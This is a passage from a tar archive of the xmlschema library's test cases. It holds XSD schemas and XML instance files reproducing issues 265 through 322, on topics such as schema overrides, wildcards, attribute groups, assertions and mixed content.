type="sbtTextNotEmpty" minOccurs="1"/> <xs:element name="nachname" type="sbtTextNotEmpty" minOccurs="1"/> <xs:element name="geburtsdatum" type="xs:date" minOccurs="1"/> <xs:element name="geschlecht" type="geschlechtTyp" minOccurs="1"/> <xs:element name="staatsbuergerschaft" type="staatTyp" minOccurs="0"/> <xs:element name="akadgrad" type="akadTyp" minOccurs="0"/> <xs:element name="akadnach" type="akadTyp" minOccurs="0"/> <xs:element name="bpk" type="bpkTyp" minOccurs="0"/> <xs:element name="svnr" type="svnrTyp" minOccurs="0"/> <xs:element name="ekz" type="ekzTyp" minOccurs="0"/> <xs:element name="adressen" type="adressenListe"/> <xs:element name="studierendenkey" type="Studierendenkey" minOccurs="1" maxOccurs="1"/> <xs:element name="studienbeitrag" type="KontostandUniInfo"/> </xs:sequence> </xs:restriction> </xs:complexContent> </xs:complexType> </xs:redefine> </xs:schema>�����������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_265/issue_265-2-override.xsd��������������������������0000664�0000000�0000000�00000000706�15020401055�0026246�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:override schemaLocation="issue_265-1.xsd"> <xs:complexType name="FullStudentInfo"> <xs:complexContent> <xs:extension base="UniStudentInfo"> <xs:sequence> <xs:element name="studienbeitrag" type="KontostandUniInfo" minOccurs="0"/> </xs:sequence> </xs:extension> </xs:complexContent> </xs:complexType> </xs:override> </xs:schema>����������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_266/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022024�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_266/issue_266-1.xml�����������������������������������0000664�0000000�0000000�00000000236�15020401055�0024432�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<TestField xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="issue_266-1.xsd" testattribute="foo" /> ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_266/issue_266-1.xsd�����������������������������������0000664�0000000�0000000�00000001032�15020401055�0024423�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" elementFormDefault="qualified"> <xsd:element name="TestField" type="TestFieldType"> <xsd:annotation> <xsd:documentation> <h:div xmlns:h="http://www.w3.org/1999/xhtml"> <h:h3>Some documentation</h:h3> </h:div> </xsd:documentation> </xsd:annotation> </xsd:element> <xsd:complexType name="TestFieldType"> <xsd:attribute name="testattribute" use="optional" type="xsd:string"/> </xsd:complexType> </xsd:schema> ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_266/issue_266-2.xml�����������������������������������0000664�0000000�0000000�00000000236�15020401055�0024433�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<TestField xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="issue_266-2.xsd" testattribute="foo" /> ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_266/issue_266-2.xsd�����������������������������������0000664�0000000�0000000�00000001020�15020401055�0024421�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" elementFormDefault="qualified"> <xsd:element name="TestField" type="TestFieldType"> <xsd:annotation> <xsd:documentation> <div xmlns="http://www.w3.org/1999/xhtml"> <h3>Some documentation</h3> </div> </xsd:documentation> </xsd:annotation> </xsd:element> <xsd:complexType name="TestFieldType"> <xsd:attribute name="testattribute" use="optional" type="xsd:string"/> </xsd:complexType> </xsd:schema> ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_266/issue_266b-1.xsd����������������������������������0000664�0000000�0000000�00000001213�15020401055�0024566�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<xsd:schema xmlns:test2="http://namespaceuri/test2" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <xsd:import namespace="http://namespaceuri/test2" schemaLocation="issue_266b-2.xsd"/> <xsd:complexType name="element3"> <xsd:choice> <xsd:element ref="test2:testElement3" /> </xsd:choice> </xsd:complexType> <xsd:attribute name="testAttribute3" type="xsd:string"> <xsd:annotation> <xsd:documentation> <div xmlns="http://www.w3.org/1999/xhtml"> <h3>docs</h3> </div> </xsd:documentation> </xsd:annotation> </xsd:attribute> </xsd:schema>�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_266/issue_266b-2.xsd����������������������������������0000664�0000000�0000000�00000001047�15020401055�0024574�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<xsd:schema xmlns:test2="http://namespaceuri/test2" xmlns:xsd="http://www.w3.org/2001/XMLSchema" targetNamespace="http://namespaceuri/test2"> <xsd:element name="testElement3"> <xsd:annotation> <xsd:documentation> <div xmlns="http://www.w3.org/1999/xhtml"> <h3>docs blah blah</h3> </div> </xsd:documentation> </xsd:annotation> <xsd:complexType> <xsd:attribute ref="testAttribute3" /> </xsd:complexType> </xsd:element> </xsd:schema>�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_273/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022022�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_273/issue_273.xml�������������������������������������0000664�0000000�0000000�00000000453�15020401055�0024271�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<someName x="QA01_sequence" y="2500"> <QA01> <qa01_elem01>13</qa01_elem01> <qa01_elem02>5139</qa01_elem02> <qa01_elem03>170</qa01_elem03> <qa01_elem04 these="attributes" get="dropped">0</qa01_elem04> <qa01_elem05>56</qa01_elem05> <qa01_elem06>11141178</qa01_elem06> </QA01> </someName>���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_273/issue_273.xsd�������������������������������������0000664�0000000�0000000�00000001005�15020401055�0024261�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="someName"> <xs:complexType> <xs:sequence> <xs:any processContents="lax" minOccurs="1" maxOccurs="unbounded" /> </xs:sequence> <xs:attribute name="x" use="optional" type="xs:ID" /> <xs:attribute name="y" use="required" type="xs:integer" /> <xs:attribute name="z" use="optional" type="xs:NCName" /> </xs:complexType> </xs:element> </xs:schema> ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_276/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022025�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_276/dummy.xml�����������������������������������������0000664�0000000�0000000�00000000172�15020401055�0023702�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<dummy xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="schema.xsd" a2="foo"/> ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_276/schema.xsd����������������������������������������0000664�0000000�0000000�00000000757�15020401055�0024016�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="dummy"> <xs:complexType> <xs:attributeGroup ref="ag1"/> <xs:attributeGroup ref="ag2"/> </xs:complexType> </xs:element> <xs:attributeGroup name="ag1"> <xs:attribute name="a1" type="xs:string"/> <xs:attributeGroup ref="ag2"/> </xs:attributeGroup> <xs:attributeGroup name="ag2"> <xs:attribute name="a2" type="xs:string"/> </xs:attributeGroup> </xs:schema>�����������������xmlschema-4.1.0/tests/test_cases/issues/issue_298/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022031�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_298/issue_298-1.xml�����������������������������������0000664�0000000�0000000�00000000162�15020401055�0024442�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<tns:Root xmlns:tns="http://xmlschema.test/ns"> <Container> <Freeform /> </Container> </tns:Root> ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_298/issue_298-2.xml�����������������������������������0000664�0000000�0000000�00000000360�15020401055�0024443�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <tns:Root xmlns:tns="http://xmlschema.test/ns" xmlns:zz="http://xmlschema.test/ns2"> <Container> <Freeform> <zz:ForeignSchema/> </Freeform> </Container> </tns:Root> ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_298/issue_298.xsd�������������������������������������0000664�0000000�0000000�00000001430�15020401055�0024301�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:tns="http://xmlschema.test/ns" targetNamespace="http://xmlschema.test/ns"> <xs:element name="Root"> <xs:complexType> <xs:sequence> <xs:element name="Container" type="tns:container"/> </xs:sequence> </xs:complexType> </xs:element> <xs:complexType name="container"> <xs:sequence> <xs:element name="Freeform" type="tns:freeform"/> </xs:sequence> </xs:complexType> <xs:complexType name="freeform" mixed="true"> <xs:sequence minOccurs="0" maxOccurs="unbounded"> <xs:any processContents="lax"/> </xs:sequence> </xs:complexType> </xs:schema>����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_306/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022017�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_306/issue_306-alt.xsd���������������������������������0000664�0000000�0000000�00000001561�15020401055�0025040�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8" ?> <!-- This is a valid schema, no UPA violation because overlapping elements are univocal. --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="Document"> <xs:complexType> <xs:sequence> <xs:element name="shipto"> <xs:complexType> <xs:sequence> <xs:element minOccurs="0" maxOccurs="0" name="name" type="xs:string"/> <xs:element minOccurs="0" maxOccurs="0" name="name" type="xs:string"/> <xs:element minOccurs="0" maxOccurs="1" name="address" type="xs:string"/> </xs:sequence> </xs:complexType> </xs:element> </xs:sequence> </xs:complexType> </xs:element> </xs:schema>�����������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_306/issue_306-invalid.xml�����������������������������0000664�0000000�0000000�00000000313�15020401055�0025702�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<Document xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="issue_306.xsd"> <shipto> <name>Bob</name> <address>Bob</address> </shipto> </Document>���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_306/issue_306-valid.xml�������������������������������0000664�0000000�0000000�00000000266�15020401055�0025362�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<Document xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="issue_306.xsd"> <shipto> <address>Bob</address> </shipto> </Document>������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_306/issue_306.xsd�������������������������������������0000664�0000000�0000000�00000001261�15020401055�0024257�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8" ?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="Document"> <xs:complexType> <xs:sequence> <xs:element name="shipto"> <xs:complexType> <xs:sequence> <xs:element minOccurs="0" maxOccurs="0" name="name" type="xs:string"/> <xs:element minOccurs="0" maxOccurs="1" name="address" type="xs:string"/> </xs:sequence> </xs:complexType> </xs:element> </xs:sequence> </xs:complexType> </xs:element> </xs:schema>�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_311/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022013�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_311/correct_no_list.xml�������������������������������0000664�0000000�0000000�00000001422�15020401055�0025724�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<ns0:kPartModel xmlns:ns0="http://www.ludd21.com/kPartModel" modelName="manysingulars" otherattribute=""> <ns0:kPartsPiece pieceName="pieceknit_layer1"> <ns0:kPartsList> <ns0:castOnPartSeg nextsnum="1" partNumber="0"> <ns0:baseSeg start="9.73143 0.00000" end="17.73188 0.00000" /> </ns0:castOnPartSeg> <ns0:joinPart nextsnum="3" previousnum="0 " partNumber="1" > <ns0:baseSeg start="9.88173 -11.82912" end="25.27907 -11.82912" /> </ns0:joinPart> <ns0:joinPart nextsnum="1" previousnum="0" partNumber="3"> <ns0:baseSeg start="9.98452 -19.91844" end="56.48310 -19.91844" /> </ns0:joinPart> </ns0:kPartsList> </ns0:kPartsPiece> </ns0:kPartModel>����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_311/incorrect_with_list.xml���������������������������0000664�0000000�0000000�00000001424�15020401055�0026614�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<ns0:kPartModel xmlns:ns0="http://www.ludd21.com/kPartModel" modelName="manysingulars" otherattribute=""> <ns0:kPartsPiece pieceName="pieceknit_layer1"> <ns0:kPartsList> <ns0:castOnPartSeg nextsnum="1 3" partNumber="0"> <ns0:baseSeg start="9.73143 0.00000" end="17.73188 0.00000" /> </ns0:castOnPartSeg> <ns0:joinPart nextsnum="3" previousnum="0 " partNumber="1" > <ns0:baseSeg start="9.88173 -11.82912" end="25.27907 -11.82912" /> </ns0:joinPart> <ns0:joinPart nextsnum="1" previousnum="0" partNumber="3"> <ns0:baseSeg start="9.98452 -19.91844" end="56.48310 -19.91844" /> </ns0:joinPart> </ns0:kPartsList> </ns0:kPartsPiece> </ns0:kPartModel>��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_311/kPartModel_reduit_issue.xsd�����������������������0000664�0000000�0000000�00000007655�15020401055�0027376�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.1" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace = "http://www.ludd21.com/kPartModel" xmlns = "http://www.ludd21.com/kPartModel" elementFormDefault="qualified" vc:minVersion = "1.1" xpathDefaultNamespace="##targetNamespace" xmlns:vc="http://www.w3.org/2007/XMLSchema-versioning" > <xs:element name="kPartModel"> <xs:complexType> <xs:sequence> <xs:element ref="kPartsPiece" minOccurs="1" maxOccurs = "unbounded"/> </xs:sequence> <xs:attribute name="modelName" type="xs:NCName" use = "required"/> <xs:attribute name= "otherattribute" type="xs:string" default = ""/> </xs:complexType> <!--piecename must be unique within kpModel--> <xs:unique name= "kPartModel"> <xs:selector xpath="*"/> <xs:field xpath= "@pieceName"/> </xs:unique> </xs:element> <xs:element name="kPartsPiece"> <xs:complexType> <xs:sequence> <xs:element ref= "kPartsList"/> </xs:sequence> <xs:attribute name="pieceName" type="xs:NCName"/> <!-- nextsnum must contain valid partNumbers --> <xs:assert id = "test-previous" test = "every $x in data(kPartsList/*/@previousnum) satisfies some $part in kPartsList/* satisfies $part/@partNumber = $x"/> <xs:assert id = "test-nexts" test = "every $x in data(kPartsList/*/@nextsnum) satisfies some $part in kPartsList/* satisfies $part/@partNumber = $x"/> </xs:complexType> <!-- @partNumber is unique across kPartsList --> <xs:unique id = "unique-partNumber" name= "kPartsList"> <xs:selector xpath="*/*"/> <xs:field xpath= "@partNumber"/> </xs:unique> </xs:element> <xs:element name = "kPartsList" > <xs:complexType> <xs:sequence> <xs:choice minOccurs= "0" maxOccurs = "unbounded"> <xs:element ref = "castOnPartSeg" /> <xs:element ref = "castOnPartPoint" /> <xs:element ref = "joinPart"/> </xs:choice> </xs:sequence> </xs:complexType> </xs:element> <xs:element name="castOnPartPoint"> <xs:complexType> <xs:sequence> <xs:element ref ="basePoint"/> </xs:sequence> <xs:attribute name ="nextsnum" type = "kpRefsList" use = "required"/> <xs:attribute name = "partNumber" type = "xs:nonNegativeInteger" use = "required"/> </xs:complexType> </xs:element> <xs:element name="castOnPartSeg"> <xs:complexType> <xs:sequence> <xs:element ref ="baseSeg"/> </xs:sequence> <xs:attribute name = "nextsnum" type = "kpRefsList" use = "required"/> <xs:attribute name = "partNumber" type = "xs:nonNegativeInteger" use = "required"/> </xs:complexType> </xs:element> <xs:element name="joinPart"> <xs:complexType> <xs:sequence> <xs:element ref ="baseSeg"/> </xs:sequence> <xs:attribute name ="nextsnum" type = "kpRefsList" use = "required"/> <xs:attribute name ="previousnum" type = "kpRefsList" use = "required"/> <xs:attribute name = "partNumber" type = "xs:nonNegativeInteger" use = "required"/> </xs:complexType> </xs:element> <xs:simpleType name = "kpRefsList"> <xs:list itemType= "xs:nonNegativeInteger"/> </xs:simpleType> <xs:element name = "basePoint"> <xs:complexType> <xs:attribute name= "start" type = "point" use = "required"/> </xs:complexType> </xs:element> <xs:element name = "baseSeg"> <xs:complexType> <xs:attribute name= "start" type = "point" use = "required"/> <xs:attribute name= "end" type = "point" use = "required"/> <!--<xs:assert id = "test_base_horizontal" test = "@start[1] = @end[1]"/> --> </xs:complexType> </xs:element> <xs:simpleType name= "point"> <xs:restriction> <xs:simpleType> <xs:list itemType = "decimal5digits"/> </xs:simpleType> <xs:length value = "2"/> </xs:restriction> </xs:simpleType> <xs:simpleType name ="decimal5digits"> <xs:restriction base = "xs:decimal"> <xs:fractionDigits value="5"/> </xs:restriction> </xs:simpleType> </xs:schema>�����������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_314/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022016�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_314/issue_314.xml�������������������������������������0000664�0000000�0000000�00000000413�15020401055�0024255�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <p:root-element xmlns:p="my_namespace" xmlns:b="http://www.w3.org/2001/XMLSchema-instance"> <p:container> <p:item b:type="p:ConcreteContainterItemInfo" attr_2="value_2"/> </p:container> </p:root-element>�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_314/issue_314.xsd�������������������������������������0000664�0000000�0000000�00000002201�15020401055�0024250�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns="my_namespace" targetNamespace="my_namespace" elementFormDefault="qualified" attributeFormDefault="unqualified"> <xs:complexType name="ContainterItemInfo"> </xs:complexType> <xs:complexType name="ConcreteContainterItemInfo"> <xs:complexContent> <xs:extension base="ContainterItemInfo"> <xs:attribute name="attr_2" type="xs:string" use="required"/> </xs:extension> </xs:complexContent> </xs:complexType> <xs:complexType name="ContainerInfo"> <xs:complexContent> <xs:extension base="ContainterItemInfo"> <xs:sequence> <xs:element name="item" type="ContainterItemInfo" minOccurs="0" maxOccurs="unbounded"/> </xs:sequence> </xs:extension> </xs:complexContent> </xs:complexType> <xs:complexType name="RootElementInfo"> <xs:sequence> <xs:element name="container" type="ContainerInfo"/> </xs:sequence> </xs:complexType> <xs:element name="root-element" type="RootElementInfo"> </xs:element> </xs:schema>�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_315/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022017�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_315/issue_315-1.xml�����������������������������������0000664�0000000�0000000�00000000102�15020401055�0024410�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<tst:e1 xmlns:tst="http://xmlschema.test/ns" a1="foo">bar</tst:e1>��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_315/issue_315-2.xml�����������������������������������0000664�0000000�0000000�00000000077�15020401055�0024424�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<tst:e1 xmlns:tst="http://xmlschema.test/ns" a1="foo"></tst:e1>�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_315/issue_315-3.xml�����������������������������������0000664�0000000�0000000�00000000107�15020401055�0024417�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<tst:e1 xmlns:tst="http://xmlschema.test/ns" a1="foo">bar<e2/></tst:e1>���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_315/issue_315-4.xml�����������������������������������0000664�0000000�0000000�00000000114�15020401055�0024416�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<tst:e1 xmlns:tst="http://xmlschema.test/ns" a1="foo"><e2/>bar<e2/></tst:e1>����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_315/issue_315-5.xml�����������������������������������0000664�0000000�0000000�00000000107�15020401055�0024421�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<tst:e1 xmlns:tst="http://xmlschema.test/ns" a1="foo"><e2/>bar</tst:e1>���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_315/issue_315_mixed.xsd�������������������������������0000664�0000000�0000000�00000001134�15020401055�0025444�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <xs:schema targetNamespace="http://xmlschema.test/ns" xmlns:tst="http://xmlschema.test/ns" xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="e1" type="tst:t1"/> <xs:complexType name="t1"> <xs:complexContent mixed="true"> <xs:restriction base="xs:anyType"> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:element name="e2" type="xs:string"/> </xs:choice> <xs:attribute type="xs:string" name="a1"/> </xs:restriction> </xs:complexContent> </xs:complexType> </xs:schema>������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_315/issue_315_simple.xsd������������������������������0000664�0000000�0000000�00000000710�15020401055�0025626�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <xs:schema targetNamespace="http://xmlschema.test/ns" xmlns:tst="http://xmlschema.test/ns" xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="e1" type="tst:t1"/> <xs:complexType name="t1"> <xs:simpleContent> <xs:extension base="xs:string"> <xs:attribute type="xs:string" name="a1"/> </xs:extension> </xs:simpleContent> </xs:complexType> </xs:schema>��������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_322/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022015�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_322/issue_322.xml�������������������������������������0000664�0000000�0000000�00000000233�15020401055�0024253�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <note xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <emptystring/> <nillstring xsi:nil="true"/> </note>���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_322/issue_322.xsd�������������������������������������0000664�0000000�0000000�00000000534�15020401055�0024255�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="note"> <xs:complexType> <xs:sequence> <xs:element name="emptystring" type="xs:string"/> <xs:element name="nillstring" type="xs:string" nillable="true"/> </xs:sequence> </xs:complexType> </xs:element> 